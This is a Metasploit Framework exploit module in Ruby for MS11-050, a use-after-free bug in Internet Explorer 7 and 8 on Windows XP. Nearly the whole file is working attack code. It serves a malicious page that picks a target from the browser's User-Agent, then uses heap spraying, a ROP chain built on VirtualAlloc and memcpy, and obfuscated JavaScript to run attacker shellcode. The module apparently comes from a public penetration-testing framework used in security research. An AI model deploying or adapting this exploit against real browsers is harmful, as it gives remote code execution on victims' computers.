##
# $Id: ms11_050_mshtml_cobjectelement.rb 12962 2011-06-17 01:56:20Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::Remote::BrowserAutopwn
  autopwn_info({
    :ua_name    => HttpClients::IE,
    :ua_minver  => "7.0",
    :ua_maxver  => "8.0",
    :javascript => true,
    :os_name    => OperatingSystems::WINDOWS,
    :vuln_test  => nil, 
  })

  def initialize(info={})
    super(update_info(info,
      'Name'           => "MS11-050 IE mshtml!CObjectElement Use After Free",
      'Description'    => %q{
          This module exploits a use-after-free vulnerability in Internet Explorer. The
        vulnerability occurs when an invalid <object> tag exists and other elements overlap/cover
        where the object tag should be when rendered (due to their styles/positioning). The
        mshtml!CObjectElement is then freed from memory because it is invalid. However, the
        mshtml!CDisplay object for the page continues to keep a reference to the freed <object> and
        attempts to call a function on it, leading to the use-after-free.
      },
      'License'        => MSF_LICENSE,
      'Version'        => "$Revision: 12962 $",
      'Author'         =>
        [
          'd0c_s4vage',
        ],
      'References'     =>
        [
          ['CVE', '2011-1256'],
          ['OSVDB', '72948'],
          ['MSB', 'MS11-050'],
          ['URL', 'http://d0cs4vage.blogspot.com/2011/06/insecticides-dont-kill-bugs-patch.html'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'InitialAutoRunScript' => 'migrate -f',
        },
      'Payload'        =>
        {
          'Space'    => 500,
          'BadChars' => "\x00\x09\x0a\x0d'\\",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', { } ],

          # In IE6 the mshtml!CObjectElement size is 0xac
          [
            'Win XP SP3 Internet Explorer 7', # 7.0.5730.13
            {
              # sizeof(mshtml!CObjectElement)
              'FreedObjSize' =>  0xb0,
              'FakeObjCount' => 0x4000,
              'FakeObjCountKeep' => 0x2000,
              'ForLoopNumObjects' => 3,
              'FreedObjOverwritePointer'=>0x0c0c0c0c,
              'FreedObjOffsetAlignSize'=>0,
              'ROP' => false,
            }
          ],

          [
            'Win XP SP3 Internet Explorer 8 (no DEP)', # 8.0.6001.18702
            {
              # sizeof(mshtml!CObjectElement)
              'FreedObjSize' =>  0xe0, # 0xdc rounded up
              'FakeObjCount' => 0x8000,
              'FakeObjCountKeep' => 0x3000,
              'ForLoopNumObjects' => 5,
              'FreedObjOverwritePointer'=>0x0c0c0c0c,
              'FreedObjOffsetAlignSize'=>0,
              'ROP' => false,
            }
          ],

          [
            'Win XP SP3 Internet Explorer 8',
            {
              'FreedObjSize' =>  0xe0, # 0xdc rounded up
              'FakeObjCount' => 0x8000,
              'FakeObjCountKeep' => 0x3000,
              'ForLoopNumObjects' => 5,
              'FreedObjOverwritePointer'=>0x0c0c0c0c,
              'FreedObjOffsetAlignSize'=>2,
              #'StackPivot'=>0x773E3F18, # xchg eax,esp / ret - comctl32.dll
              'StackPivot' => 0x7E45F257, #xchg eax,esp - USER32.dll
              'ROP' => true,
            }
          ],

          [
            'Debug Target (Crash)', {}
          ],
        ],
      'DisclosureDate' => "Jun 16 2011",
      'DefaultTarget'  => 0))
  end

  def auto_target(cli, request)
    agent = request.headers['User-Agent']
    if agent =~ /MSIE 8\.0/
      mytarget = targets[3] # IE 8
    elsif agent =~ /MSIE 7\.0/
      mytarget = targets[1]
    else
      print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
    end

    mytarget
  end


  # 3/22/2011
  # fully patched x32 WinXP SP3, IE 8.0.6001.18702
  def winxp_sp3_rva
    {
      #"kernel32!VirtualAlloc"  => 0x7c809af1,
      "kernel32!VirtualAlloc" => 0x7c809ae1,
      "ntdll!memcpy"           => 0x7c901db3,
    }
  end

  def compile_rop(rop_stack)
    rva = winxp_sp3_rva()
    num_random = 0
    rop_stack.map do |rop_val|
      case rop_val
      when String
        if rop_val == "random"
          # useful for debugging
          # num_random += 1
          # 0xaabbcc00 + num_random
          rand(0xffffffff)
        else
          raise RuntimeError, "Unable to locate key: #{rop_val.inspect}" unless rva[rop_val]
          rva[rop_val]
        end
      when Integer
        rop_val
      else
        raise RuntimeError, "unknown rop_val: #{rop_val.inspect}, #{rop_val.class}"
      end
    end.pack("V*")
  end

  def on_request_uri(cli, request)
    mytarget = target
    if target.name == 'Automatic'
      mytarget = auto_target(cli, request)
      unless mytarget
        send_not_found(cli)
        return
      end
    end
    @mytarget = mytarget
    @debug = true if mytarget == targets[4]

    return if ((p = regenerate_payload(cli)) == nil)
    
    id_name  = rand_text_alpha(5)
    dir_name = rand_text_alpha(3)

    if @debug
      data = <<-DATA
      <html>
      <body>
      <script language='javascript'>
      document.body.innerHTML += "<object align='right' hspace='1000' width='1000'></object>";
      document.body.innerHTML += "<a id='#{id_name}' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' ></a>";
      document.body.innerHTML += "AAAAAAA";
      document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='#{dir_name}'></strong>";
      </script>
      </body>
      </html>
      DATA

      print_status("Triggering #{self.name} vulnerability at #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")
      send_response(cli, data, { 'Content-Type' => 'text/html' })
      return
    end

    raw_shellcode = payload.encoded
    shellcode = Rex::Text.to_unescape(raw_shellcode, Rex::Arch.endian(mytarget.arch))

    spray = nil
    rop_shellcode_spray = nil

    obj_overwrite_ptr = [@mytarget['FreedObjOverwritePointer']].pack("V")

    if @mytarget['ROP']
      rop_stack = []
      0x1f.times do |i|
        rop_stack << "random"
      end

      idx = -1
      idx += 1 ; rop_stack[idx] = "kernel32!VirtualAlloc"   # 1:
      idx += 1 ; rop_stack[idx] = "ntdll!memcpy"            # 2:ret 10 to this after VirtualAlloc
      idx += 1 ; rop_stack[idx] = 0x7f000000                # 1:VirtualAlloc:lpAddress
      idx += 1 ; rop_stack[idx] = 0x4000                    # 1:VirtualAlloc:dwSize
      idx += 1 ; rop_stack[idx] = (0x1000 | 0x2000)         # 1:VirtualAlloc:flAllocationType MEM_COMMIT | MEM_RESERVE
      idx += 1 ; rop_stack[idx] = 0x40                      # 1:VirtualAlloc:flProtect rwx
      idx += 1 ; rop_stack[idx] = 0x7f001000                # 3:into this after memcpy
      idx += 1 ; rop_stack[idx] = 0x7f001000                # 2:memcpy:dst
      idx += 1 ; rop_stack[idx] = 0x23000100                # 2:memcpy:src
      idx += 1 ; rop_stack[idx] = 0x2fff                    # 2:memcpy:size

      # align the rest of it
      back = rop_stack.slice!((rop_stack.length-1)-2, rop_stack.length)
      rop_stack = back + rop_stack

      rop_stack << @mytarget['StackPivot']

      # align the stack for 0c0c0c0c
      front = rop_stack.slice!(0, 19)
      rop_stack = rop_stack + front

      # resolve strings in the rop_stack array (kernel32!VirtualAlloc, random, etc)
      rop = compile_rop(rop_stack)

      nops = make_nops(0x1000 - raw_shellcode.length)
      nops = Rex::Text.to_unescape(nops, Rex::Arch.endian(mytarget.arch))

      #spray up to 0x23000000
      rop_shellcode_spray = <<-JS
      var shellcode = unescape("#{shellcode}");
      var nops = unescape("#{nops}");
      while(nops.length < 0x1000) nops += nops;
        var shell_heapblock = nops.substring(0, 0x800-shellcode.length) + shellcode;
        while(shell_heapblock.length < 0x40000) shell_heapblock += shell_heapblock;
          var shell_finalspray = shell_heapblock.substring(0, (0x20000-6)/2);
          for(var shell_counter = 0; shell_counter < 0x1000; shell_counter++) { heap_obj.alloc(shell_finalspray); }
      JS

      spray = rop
      shellcode = ""
    else
      spray = obj_overwrite_ptr
    end

    spray = Rex::Text.to_unescape(spray, Rex::Arch.endian(mytarget.arch))

    js = <<-JS
    heap_obj = new heapLib.ie(0x20000);
    var heapspray = unescape("#{spray}");
    while(heapspray.length < 0x1000) heapspray += heapspray;
      var shellcode = unescape("#{shellcode}");
      var heapblock = heapspray.substring(0, (0x800-shellcode.length)) + shellcode;
      var offset = #{[targets[1], targets[2]].include?(@mytarget) ? "0x400" : "0"};
      var front = heapblock.substring(0, offset);
      var end = heapblock.substring(offset);
      heapblock = end + front;
      while(heapblock.length < 0x20000) heapblock += heapblock;
        finalspray = heapblock.substring(0, (0x10000-6)/2);
        for(var counter1 = 0; counter1 < 0x1000; counter1++) { heap_obj.alloc(finalspray); }

        #{rop_shellcode_spray}

        var obj_overwrite = unescape("#{Rex::Text.to_unescape(obj_overwrite_ptr, Rex::Arch.endian(mytarget.arch))}");
        while(obj_overwrite.length < #{@mytarget['FreedObjSize']}) { obj_overwrite += obj_overwrite; }
        obj_overwrite = obj_overwrite.slice(0, (#{@mytarget['FreedObjSize']}-6)/2);

        for(var num_objs_counter = 0; num_objs_counter < #{@mytarget['ForLoopNumObjects']}; num_objs_counter++) {
          document.body.innerHTML += "<object align='right' hspace='1000' width='1000'>TAG_1</object>";
        }

        for(var counter4 = 0; counter4 < #{@mytarget['FakeObjCountKeep']}; counter4++) { heap_obj.alloc(obj_overwrite, "keepme1"); }
        for(var counter5 = 0; counter5 < #{@mytarget['FakeObjCountKeep']}; counter5++) { heap_obj.alloc(obj_overwrite, "keepme2"); }

        document.body.innerHTML += "<a id='tag_3' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' >TAG_3</a>";
        document.body.innerHTML += "AAAA";
        document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>TAG_11</strong>";
    JS

    js = heaplib(js)
    js = ::Rex::Exploitation::JSObfu.new(js)
    js.obfuscate

    html = <<-HTML
    <html>
    <body>
    <script language='javascript'>
    #{js}
    </script>
    </body>
    </html>
    HTML

    print_status("Sending exploit for #{self.name} to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")

    send_response(cli, html, {'Content-Type'=>'text/html'})
  end
end